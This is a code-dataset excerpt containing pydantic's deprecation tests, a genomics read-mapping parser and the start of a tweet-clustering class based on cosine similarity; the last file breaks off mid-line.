str):\n self.en_name = en_name\n self.jp_name = jp_name\n\n class Pokemon(BaseModel):\n model_config = ConfigDict(from_attributes=True)\n en_name: str\n jp_name: str\n\n with pytest.warns(\n PydanticDeprecatedSince20, match='Pydantic V1 style `@root_validator` validators are deprecated.'\n ):\n\n class PokemonList(BaseModel):\n root: List[Pokemon]\n\n @root_validator(pre=True)\n @classmethod\n def populate_root(cls, values):\n return {'root': values}\n\n @model_serializer(mode='wrap')\n def _serialize(self, handler, info):\n data = handler(self)\n if info.mode == 'json':\n return data['root']\n else:\n return data\n\n @classmethod\n def model_modify_json_schema(cls, json_schema):\n return json_schema['properties']['root']\n\n model_config = ConfigDict(from_attributes=True)\n\n pika = PokemonCls(en_name='Pikachu', jp_name='ピカチュウ')\n bulbi = PokemonCls(en_name='Bulbasaur', jp_name='フシギダネ')\n\n pokemons = deprecated_from_orm(PokemonList, [pika, bulbi])\n assert pokemons.root == [\n Pokemon(en_name='Pikachu', jp_name='ピカチュウ'),\n Pokemon(en_name='Bulbasaur', jp_name='フシギダネ'),\n ]\n\n with pytest.warns(\n PydanticDeprecatedSince20, match='Pydantic V1 style `@root_validator` validators are deprecated.'\n ):\n\n class PokemonDict(BaseModel):\n root: Dict[str, Pokemon]\n model_config = ConfigDict(from_attributes=True)\n\n @root_validator(pre=True)\n @classmethod\n def populate_root(cls, values):\n return {'root': values}\n\n @model_serializer(mode='wrap')\n def _serialize(self, handler, info):\n data = handler(self)\n if info.mode == 'json':\n return data['root']\n else:\n return data\n\n @classmethod\n def model_modify_json_schema(cls, json_schema):\n return json_schema['properties']['root']\n\n pokemons = deprecated_from_orm(PokemonDict, {'pika': pika, 'bulbi': bulbi})\n assert pokemons.root == {\n 'pika': Pokemon(en_name='Pikachu', jp_name='ピカチュウ'),\n 'bulbi': Pokemon(en_name='Bulbasaur', jp_name='フシギダネ'),\n }\n\n\ndef test_from_attributes():\n class PetCls:\n def __init__(self, *, name: str, species: str):\n self.name = name\n self.species = species\n\n class PersonCls:\n def __init__(self, *, name: str, age: float = None, pets: List[PetCls]):\n self.name = name\n self.age = age\n self.pets = pets\n\n class Pet(BaseModel):\n model_config = ConfigDict(from_attributes=True)\n name: str\n species: str\n\n class Person(BaseModel):\n model_config = ConfigDict(from_attributes=True)\n name: str\n age: float = None\n pets: List[Pet]\n\n bones = PetCls(name='Bones', species='dog')\n orion = PetCls(name='Orion', species='cat')\n anna = PersonCls(name='Anna', age=20, pets=[bones, orion])\n\n anna_model = deprecated_from_orm(Person, anna)\n\n assert anna_model.model_dump() == {\n 'name': 'Anna',\n 'pets': [{'name': 'Bones', 'species': 'dog'}, {'name': 'Orion', 'species': 'cat'}],\n 'age': 20.0,\n }\n\n\ndef test_not_from_attributes():\n class Pet(BaseModel):\n name: str\n species: str\n\n with pytest.raises(PydanticUserError):\n deprecated_from_orm(Pet, None)\n\n\ndef test_object_with_getattr():\n class FooGetAttr:\n def __getattr__(self, key: str):\n if key == 'foo':\n return 'Foo'\n else:\n raise AttributeError\n\n class Model(BaseModel):\n model_config = ConfigDict(from_attributes=True)\n foo: str\n bar: int = 1\n\n class ModelInvalid(BaseModel):\n model_config = ConfigDict(from_attributes=True)\n foo: str\n bar: int\n\n foo = FooGetAttr()\n model = deprecated_from_orm(Model, foo)\n assert model.foo == 'Foo'\n assert model.bar == 1\n assert model.model_dump(exclude_unset=True) == {'foo': 'Foo'}\n with pytest.raises(ValidationError):\n deprecated_from_orm(ModelInvalid, foo)\n\n\ndef test_properties():\n class XyProperty:\n x = 4\n\n @property\n def y(self):\n return '5'\n\n class Model(BaseModel):\n model_config = ConfigDict(from_attributes=True)\n x: int\n y: int\n\n model = deprecated_from_orm(Model, XyProperty())\n assert model.x == 4\n assert model.y == 5\n\n\n@pytest.mark.parametrize('extra', ['ignore', 'forbid', 'allow'])\ndef test_extra_allow_from_orm(extra: Literal['ignore', 'forbid', 'allow']):\n class TestCls:\n x = 1\n y = 2\n\n class Model(BaseModel):\n model_config = ConfigDict(from_attributes=True, extra=extra)\n x: int\n\n model = deprecated_from_orm(Model, TestCls())\n assert model.x == 1\n assert not hasattr(model, 'y')\n\n\n@pytest.mark.filterwarnings('ignore:Pydantic V1 style `@root_validator` validators are deprecated.*:DeprecationWarning')\ndef test_root_validator():\n validator_value = None\n\n class TestCls:\n x = 1\n y = 2\n\n class Model(BaseModel):\n model_config = ConfigDict(from_attributes=True)\n x: int\n y: int\n z: int\n\n @root_validator(pre=True)\n def change_input_data(cls, value):\n nonlocal validator_value\n validator_value = value\n return {'x': value.x, 'y': value.y, 'z': value.x + value.y}\n\n model = deprecated_from_orm(Model, TestCls())\n assert model.model_dump() == {'x': 1, 'y': 2, 'z': 3}\n # assert isinstance(validator_value, GetterDict)\n assert isinstance(validator_value, TestCls)\n\n\ndef test_nested_orm():\n class User(BaseModel):\n model_config = ConfigDict(from_attributes=True)\n first_name: str\n last_name: str\n\n class State(BaseModel):\n model_config = ConfigDict(from_attributes=True)\n user: User\n\n # Pass an \"orm instance\"\n deprecated_from_orm(State, SimpleNamespace(user=SimpleNamespace(first_name='John', last_name='Appleseed')))\n\n # Pass dictionary data directly\n State(**{'user': {'first_name': 'John', 'last_name': 'Appleseed'}})\n\n\ndef test_parse_raw_pass():\n class Model(BaseModel):\n x: int\n y: int\n\n with pytest.warns(PydanticDeprecatedSince20, match='The `parse_raw` method is deprecated'):\n model = Model.parse_raw('{\"x\": 1, \"y\": 2}')\n assert model.model_dump() == {'x': 1, 'y': 2}\n\n\n@pytest.mark.skipif(platform.python_implementation() == 'PyPy', reason='Different error str on PyPy')\ndef test_parse_raw_pass_fail():\n class Model(BaseModel):\n x: int\n y: int\n\n with pytest.warns(PydanticDeprecatedSince20, match='The `parse_raw` method is deprecated'):\n with pytest.raises(ValidationError, match='1 validation error for Model') as exc_info:\n Model.parse_raw('invalid')\n\n # insert_assert(exc_info.value.errors(include_url=False))\n assert exc_info.value.errors(include_url=False) == [\n {\n 'type': 'value_error.jsondecode',\n 'loc': ('__root__',),\n 'msg': 'Expecting value: line 1 column 1 (char 0)',\n 'input': 'invalid',\n }\n ]\n\n\ndef test_fields():\n class Model(BaseModel):\n x: int\n y: int = 2\n\n m = Model(x=1)\n assert len(Model.model_fields) == 2\n assert len(m.model_fields) == 2\n match = '^The `__fields__` attribute is deprecated, use `model_fields` instead.'\n with pytest.warns(PydanticDeprecatedSince20, match=match):\n assert len(Model.__fields__) == 2\n with pytest.warns(PydanticDeprecatedSince20, match=match):\n assert len(m.__fields__) == 2\n\n\ndef test_fields_set():\n class Model(BaseModel):\n x: int\n y: int = 2\n\n m = Model(x=1)\n assert m.model_fields_set == {'x'}\n match = '^The `__fields_set__` attribute is deprecated, use `model_fields_set` instead.'\n with pytest.warns(PydanticDeprecatedSince20, match=match):\n assert m.__fields_set__ == {'x'}\n\n\n@pytest.mark.parametrize('attribute,value', [('allow', 'allow'), ('ignore', 'ignore'), ('forbid', 'forbid')])\ndef test_extra_used_as_enum(\n attribute: str,\n value: str,\n) -> None:\n with pytest.warns(\n PydanticDeprecatedSince20,\n match=re.escape(\"`pydantic.config.Extra` is deprecated, use literal values instead (e.g. `extra='allow'`)\"),\n ):\n assert getattr(Extra, attribute) == value\n\n\ndef test_field_min_items_deprecation():\n m = '`min_items` is deprecated and will be removed. use `min_length` instead'\n with pytest.warns(PydanticDeprecatedSince20, match=m):\n\n class Model(BaseModel):\n x: List[int] = Field(None, min_items=1)\n\n with pytest.raises(ValidationError) as exc_info:\n Model(x=[])\n assert exc_info.value.errors(include_url=False) == [\n {\n 'type': 'too_short',\n 'loc': ('x',),\n 'msg': 'List should have at least 1 item after validation, not 0',\n 'input': [],\n 'ctx': {'field_type': 'List', 'min_length': 1, 'actual_length': 0},\n }\n ]\n\n\ndef test_field_min_items_with_min_length():\n m = '`min_items` is deprecated and will be removed. use `min_length` instead'\n with pytest.warns(PydanticDeprecatedSince20, match=m):\n\n class Model(BaseModel):\n x: List[int] = Field(None, min_items=1, min_length=2)\n\n with pytest.raises(ValidationError) as exc_info:\n Model(x=[1])\n assert exc_info.value.errors(include_url=False) == [\n {\n 'type': 'too_short',\n 'loc': ('x',),\n 'msg': 'List should have at least 2 items after validation, not 1',\n 'input': [1],\n 'ctx': {'field_type': 'List', 'min_length': 2, 'actual_length': 1},\n }\n ]\n\n\ndef test_field_max_items():\n m = '`max_items` is deprecated and will be removed. use `max_length` instead'\n with pytest.warns(PydanticDeprecatedSince20, match=m):\n\n class Model(BaseModel):\n x: List[int] = Field(None, max_items=1)\n\n with pytest.raises(ValidationError) as exc_info:\n Model(x=[1, 2])\n assert exc_info.value.errors(include_url=False) == [\n {\n 'type': 'too_long',\n 'loc': ('x',),\n 'msg': 'List should have at most 1 item after validation, not 2',\n 'input': [1, 2],\n 'ctx': {'field_type': 'List', 'max_length': 1, 'actual_length': 2},\n }\n ]\n\n\ndef test_field_max_items_with_max_length():\n m = '`max_items` is deprecated and will be removed. use `max_length` instead'\n with pytest.warns(PydanticDeprecatedSince20, match=m):\n\n class Model(BaseModel):\n x: List[int] = Field(None, max_items=1, max_length=2)\n\n with pytest.raises(ValidationError) as exc_info:\n Model(x=[1, 2, 3])\n assert exc_info.value.errors(include_url=False) == [\n {\n 'type': 'too_long',\n 'loc': ('x',),\n 'msg': 'List should have at most 2 items after validation, not 3',\n 'input': [1, 2, 3],\n 'ctx': {'field_type': 'List', 'max_length': 2, 'actual_length': 3},\n }\n ]\n\n\ndef test_field_const():\n with pytest.raises(PydanticUserError, match='`const` is removed. use `Literal` instead'):\n\n class Model(BaseModel):\n x: str = Field('test', const=True)\n\n\ndef test_field_include_deprecation():\n m = '`include` is deprecated and does nothing. It will be removed, use `exclude` instead'\n with pytest.warns(PydanticDeprecatedSince20, match=m):\n\n class Model(BaseModel):\n x: int = Field(include=True)\n\n\ndef test_unique_items_items():\n with pytest.raises(PydanticUserError, match='`unique_items` is removed. use `Set` instead'):\n\n class Model(BaseModel):\n x: List[int] = Field(None, unique_items=True)\n\n\ndef test_unique_items_conlist():\n with pytest.raises(PydanticUserError, match='`unique_items` is removed. use `Set` instead'):\n\n class Model(BaseModel):\n x: conlist(int, unique_items=True)\n\n\ndef test_allow_mutation():\n m = '`allow_mutation` is deprecated and will be removed. use `frozen` instead'\n with pytest.warns(PydanticDeprecatedSince20, match=m):\n\n class Model(BaseModel):\n model_config = ConfigDict(validate_assignment=True)\n x: int = Field(allow_mutation=False)\n y: int = Field(allow_mutation=True)\n\n m = Model(x=1, y=2)\n\n assert m.x == 1\n with pytest.raises(ValidationError) as exc_info:\n m.x = 2\n assert exc_info.value.errors(include_url=False) == [\n {'input': 2, 'loc': ('x',), 'msg': 'Field is frozen', 'type': 'frozen_field'}\n ]\n\n m.y = 3\n assert m.y == 3\n\n\ndef test_field_regex():\n with pytest.raises(PydanticUserError, match='`regex` is removed. use `pattern` instead'):\n\n class Model(BaseModel):\n x: str = Field('test', regex=r'^test$')\n\n\ndef test_modify_schema_error():\n with pytest.raises(\n PydanticUserError,\n match='The `__modify_schema__` method is not supported in Pydantic v2. '\n 'Use `__get_pydantic_json_schema__` instead.',\n ):\n\n class Model(BaseModel):\n @classmethod\n def __modify_schema__(cls, field_schema: Dict[str, Any]) -> None:\n pass\n\n\ndef test_v1_v2_custom_type_compatibility() -> None:\n \"\"\"Create a custom type that works with V1 and V2\"\"\"\n\n class MyType:\n @classmethod\n def __get_pydantic_core_schema__(cls, source_type: Any, handler: GetCoreSchemaHandler) -> CoreSchema:\n return core_schema.int_schema()\n\n @classmethod\n def __get_pydantic_json_schema__(\n cls, core_schema: CoreSchema, handler: GetJsonSchemaHandler\n ) -> JsonSchemaValue:\n return {'anyOf': [{'type': 'string'}, {'type': 'number'}]}\n\n @classmethod\n def __modify_schema__(cls, field_schema: Dict[str, Any]) -> None:\n raise NotImplementedError # not actually called, we just want to make sure the method can exist\n\n @classmethod\n def __get_validators__(cls) -> Iterable[Any]:\n raise NotImplementedError # not actually called, we just want to make sure the method can exist\n yield\n\n ta = TypeAdapter(MyType)\n assert ta.validate_python('123') == 123\n assert ta.json_schema() == {'anyOf': [{'type': 'string'}, {'type': 'number'}]}\n\n\ndef test_v1_get_validators():\n class CustomDate(date):\n @classmethod\n def __get_validators__(cls):\n yield cls.validate1\n yield cls.validate2\n\n @classmethod\n def validate1(cls, v, i):\n print(v)\n\n if v.year < 2000:\n raise ValueError('Invalid year')\n return v\n\n @classmethod\n def validate2(cls, v, i):\n return date.today().replace(month=1, day=1)\n\n with pytest.warns(\n PydanticDeprecatedSince20,\n match='^`__get_validators__` is deprecated and will be removed, use `__get_pydantic_core_schema__` instead.',\n ):\n\n class Model(BaseModel):\n x: CustomDate\n\n with pytest.raises(ValidationError, match='Value error, Invalid year'):\n Model(x=date(1999, 1, 1))\n\n m = Model(x=date.today())\n assert m.x.day == 1\n\n\ndef test_v1_get_validators_invalid_validator():\n class InvalidValidator:\n @classmethod\n def __get_validators__(cls):\n yield cls.has_wrong_arguments\n\n @classmethod\n def has_wrong_arguments(cls):\n pass\n\n with pytest.warns(\n PydanticDeprecatedSince20,\n match='^`__get_validators__` is deprecated and will be removed, use `__get_pydantic_core_schema__` instead.',\n ):\n\n class InvalidValidatorModel(BaseModel):\n x: InvalidValidator\n\n with pytest.raises(TypeError, match='takes 1 positional argument but 3 were given'):\n InvalidValidatorModel(x=1)\n\n\ndef test_field_extra_arguments():\n m = re.escape(\n 'Using extra keyword arguments on `Field` is deprecated and will be removed. Use `json_schema_extra` instead. '\n \"(Extra keys: 'test', 'foo')\"\n )\n with pytest.warns(PydanticDeprecatedSince20, match=m):\n\n class Model(BaseModel):\n x: str = Field('test', test='test', foo='bar')\n\n assert Model.model_json_schema(by_alias=True)['properties'] == {\n 'x': {'default': 'test', 'foo': 'bar', 'test': 'test', 'title': 'X', 'type': 'string'}\n }\n\n\ndef test_field_extra_does_not_rewrite_json_schema_extra():\n m = 'Using extra keyword arguments on `Field` is deprecated and will be removed. Use `json_schema_extra` instead'\n with pytest.warns(PydanticDeprecatedSince20, match=m):\n\n class Model(BaseModel):\n x: str = Field('test', test='test', json_schema_extra={'test': 'json_schema_extra value'})\n\n assert Model.model_json_schema(by_alias=True)['properties'] == {\n 'x': {'default': 'test', 'test': 'json_schema_extra value', 'title': 'X', 'type': 'string'}\n }\n\n\nclass SimpleModel(BaseModel):\n x: int\n\n\ndef test_dict():\n m = SimpleModel(x=1)\n with pytest.warns(PydanticDeprecatedSince20, match=r'^The `dict` method is deprecated; use `model_dump` instead\\.'):\n assert m.dict() == {'x': 1}\n\n\ndef test_json():\n m = SimpleModel(x=1)\n with pytest.warns(\n PydanticDeprecatedSince20, match=r'^The `json` method is deprecated; use `model_dump_json` instead\\.'\n ):\n assert m.json() == '{\"x\":1}'\n\n with pytest.warns(PydanticDeprecatedSince20):\n with pytest.raises(TypeError, match='The `encoder` argument is no longer supported'):\n m.json(encoder=1)\n with pytest.raises(TypeError, match='The `models_as_dict` argument is no longer supported'):\n m.json(models_as_dict=True)\n with pytest.raises(TypeError, match='`dumps_kwargs` keyword arguments are no longer supported.'):\n m.json(foo=4)\n\n\ndef test_parse_obj():\n with pytest.warns(\n PydanticDeprecatedSince20, match='^The `parse_obj` method is deprecated; use `model_validate` instead.'\n ):\n m = SimpleModel.parse_obj({'x': 1})\n\n assert m.model_dump() == {'x': 1}\n\n\ndef test_parse_file(tmp_path):\n path = tmp_path / 'test.json'\n path.write_text('{\"x\": 12}')\n with pytest.warns(\n PydanticDeprecatedSince20, match='^The `parse_file` method is deprecated; load the data from file,'\n ):\n assert SimpleModel.parse_file(str(path)).model_dump() == {'x': 12}\n\n\ndef test_construct():\n with pytest.warns(\n PydanticDeprecatedSince20, match='The `construct` method is deprecated; use `model_construct` instead.'\n ):\n m = SimpleModel.construct(x='not an int')\n\n assert m.x == 'not an int'\n\n\ndef test_json_schema():\n m = SimpleModel(x=1)\n with pytest.warns(\n PydanticDeprecatedSince20, match='^The `schema` method is deprecated; use `model_json_schema` instead.'\n ):\n assert m.schema() == {\n 'title': 'SimpleModel',\n 'type': 'object',\n 'properties': {'x': {'title': 'X', 'type': 'integer'}},\n 'required': ['x'],\n }\n\n\ndef test_validate():\n with pytest.warns(\n PydanticDeprecatedSince20, match='^The `validate` method is deprecated; use `model_validate` instead.'\n ):\n m = SimpleModel.validate({'x': 1})\n\n assert m.model_dump() == {'x': 1}\n\n\ndef test_update_forward_refs():\n with pytest.warns(PydanticDeprecatedSince20, match='^The `update_forward_refs` method is deprecated;'):\n SimpleModel.update_forward_refs()\n\n\ndef test_copy_and_set_values():\n m = SimpleModel(x=1)\n with pytest.warns(\n PydanticDeprecatedSince20, match='^The private method `_copy_and_set_values` will be removed and '\n ):\n m2 = m._copy_and_set_values(values={'x': 2}, fields_set={'x'}, deep=False)\n\n assert m2.x == 2\n\n\ndef test_get_value():\n m = SimpleModel(x=1)\n with pytest.warns(PydanticDeprecatedSince20, match='^The private method `_get_value` will be removed and '):\n v = m._get_value(\n [1, 2, 3],\n to_dict=False,\n by_alias=False,\n include=None,\n exclude=None,\n exclude_unset=False,\n exclude_defaults=False,\n exclude_none=False,\n )\n assert v == [1, 2, 3]\n\n\ndef test_deprecated_module(tmp_path: Path) -> None:\n class Model(BaseModel):\n x: int\n\n assert hasattr(parse_obj_as, '__deprecated__')\n with pytest.warns(\n PydanticDeprecatedSince20, match='parse_obj_as is deprecated. Use pydantic.TypeAdapter.validate_python instead.'\n ):\n parse_obj_as(Model, {'x': 1})\n\n assert hasattr(schema_json_of, '__deprecated__')\n with pytest.warns(\n PydanticDeprecatedSince20, match='schema_json_of is deprecated. Use pydantic.TypeAdapter.json_schema instead.'\n ):\n schema_json_of(Model)\n\n assert hasattr(schema_of, '__deprecated__')\n with pytest.warns(\n PydanticDeprecatedSince20, match='schema_of is deprecated. Use pydantic.TypeAdapter.json_schema instead.'\n ):\n schema_of(Model)\n\n assert hasattr(load_str_bytes, '__deprecated__')\n with pytest.warns(PydanticDeprecatedSince20, match='load_str_bytes is deprecated.'):\n load_str_bytes('{\"x\": 1}')\n\n assert hasattr(load_file, '__deprecated__')\n file = tmp_path / 'main.py'\n file.write_text('{\"x\": 1}')\n with pytest.warns(PydanticDeprecatedSince20, match='load_file is deprecated.'):\n load_file(file)\n\n assert hasattr(pydantic_encoder, '__deprecated__')\n with pytest.warns(\n PydanticDeprecatedSince20, match='pydantic_encoder is deprecated, use BaseModel.model_dump instead.'\n ):\n pydantic_encoder(Model(x=1))\n\n assert hasattr(custom_pydantic_encoder, '__deprecated__')\n with pytest.warns(\n PydanticDeprecatedSince20, match='custom_pydantic_encoder is deprecated, use BaseModel.model_dump instead.'\n ):\n custom_pydantic_encoder({int: lambda x: str(x)}, Model(x=1))\n\n assert hasattr(timedelta_isoformat, '__deprecated__')\n with pytest.warns(PydanticDeprecatedSince20, match='timedelta_isoformat is deprecated.'):\n timedelta_isoformat(timedelta(seconds=1))\n\n assert all(hasattr(func, '__deprecated__') for func in get_overloads(validate_arguments))\n with pytest.warns(\n PydanticDeprecatedSince20, match='The `validate_arguments` method is deprecated; use `validate_call` instead.'\n ):\n\n def test(a: int, b: int):\n pass\n\n validate_arguments()(test)\n\n\ndef test_deprecated_color():\n from pydantic.color import Color\n\n with pytest.warns(\n PydanticDeprecatedSince20, match='The `Color` class is deprecated, use `pydantic_extra_types` instead.'\n ):\n Color('red')\n\n\ndef test_deprecated_payment():\n from pydantic import PaymentCardNumber\n\n with pytest.warns(\n PydanticDeprecatedSince20,\n match='The `PaymentCardNumber` class is deprecated, use `pydantic_extra_types` instead.',\n ):\n PaymentCardNumber('4242424242424242')\n","repo_name":"pydantic/pydantic","sub_path":"tests/test_deprecated.py","file_name":"test_deprecated.py","file_ext":"py","file_size_in_byte":25009,"program_lang":"python","lang":"en","doc_type":"code","stars":16514,"dataset":"github-code","pt":"48"} +{"seq_id":"37469952601","text":"from collections import namedtuple\nfrom operator import attrgetter\nimport logging\nimport cy_ext_seq.gem_qa as gqa\nimport ujson\nfrom gzip import open as opengz\nfrom tools.sam2pmp import SourceReadSAM\nlog_ = logging.getLogger(__name__)\n\nPE_DELIM = '::'\nALIGN_DELIM = ','\nMATCHBLOCK_DELIM = ':'\nPLUS = '+'\nMINUS = '-'\n\nDestMap_se = namedtuple('DestMap_se', ['dest_id', 'mismatches', 'strand', 'pos', 'gigar', 'end'])\nDestMap_pe = namedtuple('DestMap_pe', ['dest_id', 'mismatches1', 'mismatches2', 'strand1', 'strand2', 'pos1', 'pos2', 'gigar1', 'gigar2'])\n\nclass SourceRead(object):\n def __init__(self, rid, seq, qual):\n self.rid = rid\n self.seq = [str(s) for s in seq] # #TODO: remove\n self.quals = qual\n self.se_maps = []\n self.pe_maps = []\n \n def to_ser(self):\n return (self.rid, self.seq, self.quals, [tuple(x) for x in self.se_maps], [tuple(y) for y in self.pe_maps])\n \n @staticmethod\n def from_ser(ser):\n res = SourceRead(ser[0], ser[1], ser[2])\n res.se_maps = [DestMap_se(*x) for x in ser[3]]\n res.pe_maps = [DestMap_pe(*y) for y in ser[4]]\n return res\n \n def __len__(self):\n return len(self.se_maps) + len(self.pe_maps)\n \n def sort(self):\n self.se_maps.sort(key=attrgetter('mismatches'))\n self.pe_maps.sort(key=lambda m: m.mismatches1 + m.mismatches2)\n\n #\n def try_fix_pos(self, gd, seq, gid, strand, pos, gigar):\n for off in (1, -1, 2, -2, 3, -3):\n w = _is_wrong_strand(gd, seq, gid, strand, pos + off, gigar)\n if w != 2:\n return w, off\n return 2, 0\n # \n def _add_from_cells(self, cells, end, seqdict):\n assert len(cells) == 5 and cells[0].startswith(self.rid)\n if cells[4] == MINUS:\n return\n alignments = cells[4].split(ALIGN_DELIM)\n for align in alignments:\n if '\\x00' in align:\n log_.warning('Encountered null character in alignment ' + str(alignments.index(align)) + ' for read ' + cells[0] + '. Skipping!: ' + repr(align))\n continue\n if PE_DELIM in align:\n tmpalgn = align.split(PE_DELIM)\n tmpalgn[0] = tmpalgn[0].split(MATCHBLOCK_DELIM, 4)\n tmpalgn[1] = tmpalgn[1].split(MATCHBLOCK_DELIM, 4)\n ga1 = gqa.create_gigar_array(tmpalgn[0][3])\n ga2 = gqa.create_gigar_array(tmpalgn[1][3])\n if tmpalgn[0][1] == tmpalgn[1][1] or tmpalgn[0][0] != tmpalgn[1][0]:\n seqs = cells[1].split()\n w1 = _is_wrong_strand(seqdict, seqs[0], tmpalgn[0][0].split()[0], tmpalgn[0][1], int(tmpalgn[0][2]), ga1)\n w2 = _is_wrong_strand(seqdict, seqs[1], tmpalgn[1][0].split()[0], tmpalgn[1][1], int(tmpalgn[1][2]), ga2)\n if w1 == 1 and w2 == 0:\n tmpalgn[0][1] = PLUS if tmpalgn[0][1] == MINUS else MINUS\n elif w2 == 1 and w1 == 0:\n tmpalgn[1][1] = PLUS if tmpalgn[1][1] == MINUS else MINUS\n elif w1 != 0 or w2 != 0:\n if w1 == 2:\n w1, off = self.try_fix_pos(seqdict, seqs[0], tmpalgn[0][0].split()[0], tmpalgn[0][1], int(tmpalgn[0][2]), ga1)\n if w1 != 2:\n tmpalgn[0][2] = str(int(tmpalgn[0][2]) + off)\n log_.info('Fixed a read by offest ' + str(off) + '\\n\\t' + seqs[0] + '\\n\\t' + seqs[1] + '\\n\\t' + align)\n if w2 == 2:\n w2, off = self.try_fix_pos(seqdict, seqs[1], tmpalgn[1][0].split()[0], tmpalgn[1][1], int(tmpalgn[1][2]), ga2)\n if w2 != 2:\n tmpalgn[1][2] = str(int(tmpalgn[1][2]) + off)\n log_.info('Fixed a read by offest ' + str(off) + '\\n\\t' + seqs[0] + '\\n\\t' + seqs[1] + '\\n\\t' + align)\n if w1 == 1 and w2 == 0:\n tmpalgn[0][1] = PLUS if tmpalgn[0][1] == MINUS else MINUS\n elif w2 == 1 and w1 == 0:\n tmpalgn[1][1] = PLUS if tmpalgn[1][1] == MINUS else MINUS\n elif w1 != 0 or w2 != 0: \n log_.info('This pe read is broken' + '\\n\\t' + seqs[0] + '\\n\\t' + seqs[1] + '.\\n Skipping. This is probably not too bad unless you see too many of these.')\n if tmpalgn[0][0] != tmpalgn[1][0]:\n log_.warning('Encountered paired mapping to different bacteria!')\n log_.warning(cells)\n self.se_maps.append(_se_from_algn(tmpalgn[0], 0, _get_mms_ga(ga1), seqdict))\n self.se_maps.append(_se_from_algn(tmpalgn[1], 1, _get_mms_ga(ga2), seqdict))\n else:\n self.pe_maps.append(_pe_from_algn(tmpalgn, seqdict, ga1, ga2))\n else:\n if end == 2:\n raise AssertionError\n algn = align.split(MATCHBLOCK_DELIM, 4)\n ga = gqa.create_gigar_array(algn[3])\n self.se_maps.append(_se_from_algn(algn, end, _get_mms_ga(ga), seqdict))\n\ndef _is_wrong_strand(gd, seq, gid, strand, pos, gigar):\n matched_cor = _validatematch(gd, seq, gid, strand, pos, gigar)\n if matched_cor:\n return 0\n matched_wrong = _validatematch(gd, seq, gid, PLUS if strand == MINUS else MINUS, pos, gigar)\n if matched_wrong:\n return 1\n else:\n return 2\n \ndef _validatematch(gd, seq, gid, strand, pos, gigar_arr):\n lngt = len(seq) + gqa.sum_skips(gigar_arr)\n genesq, start, end, strand = gd.get_sequence(gid, strand, pos, lngt)\n destseq = _circ_extract_subseq(genesq, start, end)\n return gqa.validate_match3(str(seq), str(destseq), gigar_arr)\n\ndef _circ_extract_subseq(seq, start, end):\n if start < end:\n return seq[start:end]\n else:\n return seq[start:] + seq[:end]\n \ndef _se_from_algn(algn, end, gigar_arr, seqdict):\n destid = algn[0].split()[0]\n return DestMap_se(destid, gigar_arr, algn[1], (int(algn[2]) - 1) % seqdict.get_len(destid) + 1, algn[3], end)\n\ndef _pe_from_algn(algn, seqdict, ga1, ga2):\n destid = algn[0][0].split()[0]\n destlen = seqdict.get_len(destid)\n return DestMap_pe(destid, _get_mms_ga(ga1), \\\n _get_mms_ga(ga2), algn[0][1], algn[1][1], \\\n (int(algn[0][2]) - 1) % destlen + 1, \\\n (int(algn[1][2]) - 1) % destlen + 1, \\\n algn[0][3], algn[1][3])\n\ndef _get_mms_ga(g_a):\n return g_a.nonzero()[0].shape[0]\n\ndef _load_from_file(fpath, sam_based):\n with opengz(fpath) as fin:\n for r in _load_iterable_fromdesc(fin, sam_based):\n yield r\n\ndef _load_iterable_fromdesc(desc, sam_based):\n sr = SourceReadSAM if sam_based else SourceRead\n try:\n while True:\n yield sr.from_ser(ujson.loads(desc.readline()))\n except ValueError as ve:\n if ve.args[0] == 'No JSON object could be decoded' or \\\n ve.args[0] == 'Expected object or value':\n raise StopIteration\n else:\n raise ve\n except EOFError:\n raise StopIteration\n","repo_name":"zeevilab/resource-conservation","sub_path":"Data/Mapping/pmap.py","file_name":"pmap.py","file_ext":"py","file_size_in_byte":7309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20842809881","text":"import re, math\n\n######### function for getting cosine similarity ################\ndef get_cosine(vec1, vec2):\n intersection = set(vec1.keys()) & set(vec2.keys())\n numerator = sum([vec1[x] * vec2[x] for x in intersection])\n\n sum1 = sum([vec1[x]**2 for x in vec1.keys()])\n sum2 = sum([vec2[x]**2 for x in vec2.keys()])\n denominator = math.sqrt(sum1) * math.sqrt(sum2)\n\n if not denominator:\n return 0.0\n else:\n return float(numerator) / denominator\n#################################################################\n\n\nclass TCV(object):\n\t\"\"\"This is the data structure class for Tweet Cluster Vector\"\"\"\n\twordList = []\n\tclusterList = []\n\tnumOfCLuster = 0\n\tforClusterId = 0\n\tdef __init__(self,tweet):\n\t\tself.clusterId = TCV.forClusterId\n\t\tself.n = 1\n\t\tself.ts1 = tweet.ts\n\t\tself.ts2 = (tweet.ts)**2\n\t\tself.tweetsPresent = []\n\t\tself.tweetsPresent.append(tweet)\n\t\tself.sum_v = dict(tweet.tweetWordDict)\n\t\tself.wsum_v = dict(tweet.tweetWordDict)\n\t\tself.ft_set = []\n\t\tself.ft_set.append(tweet)\n\t\ttweet.clusterIdOfTweet = self.clusterId\n\t\tTCV.clusterList.append(self)\n\t\tTCV.numOfCLuster += 1\n\t\tTCV.forClusterId += 1\n\n\tdef add_tweet(self,tweet):\n\t\tself.n += 1\n\t\tself.ts1 += tweet.ts\n\t\tself.ts2 += tweet.ts*tweet.ts\n\t\ttweet.clusterIdOfTweet = self.clusterId\n\t\tself.tweetsPresent.append(tweet)\n\n\t\tfor k in tweet.tweetWordDict:\n\t\t\tflag = 0\n\t\t\tfor key in self.sum_v:\n\t\t\t\tif key == k:\n\t\t\t\t\tself.sum_v[key] += float(tweet.tweetWordDict[k])\n\t\t\t\t\tflag = 1\n\t\t\t\t\tbreak\n\t\t\tif flag == 0:\n\t\t\t\tself.sum_v[k] = float(tweet.tweetWordDict[k])\n\n\t\t\tflag = 0\n\t\t\tfor key in self.wsum_v:\n\t\t\t\tif key == k:\n\t\t\t\t\tself.wsum_v[key] += (float(tweet.w) * float(tweet.tweetWordDict[k]))\n\t\t\t\t\tflag = 1\n\t\t\t\t\tbreak\n\t\t\tif flag == 0:\n\t\t\t\tself.wsum_v[k] = float(tweet.w) * float(tweet.tweetWordDict[k])\n\n\t\tif len(self.ft_set) < 40:\n\t\t\t#print 'Simply adding tweet %s to cluster %s ft_set' %(tweet.id,self.clusterId)\n\t\t\tself.ft_set.append(tweet)\n\t\t\t#self.m += 1\n\t\telse:\n\t\t\tcentroid = dict(self.wsum_v)\n\t\t\tfor key in centroid:\n\t\t\t\tcentroid[key] /= self.n\n\t\t\tcosine = {}\n\t\t\tcosine[get_cosine(centroid,tweet.tweetWordDict)] = 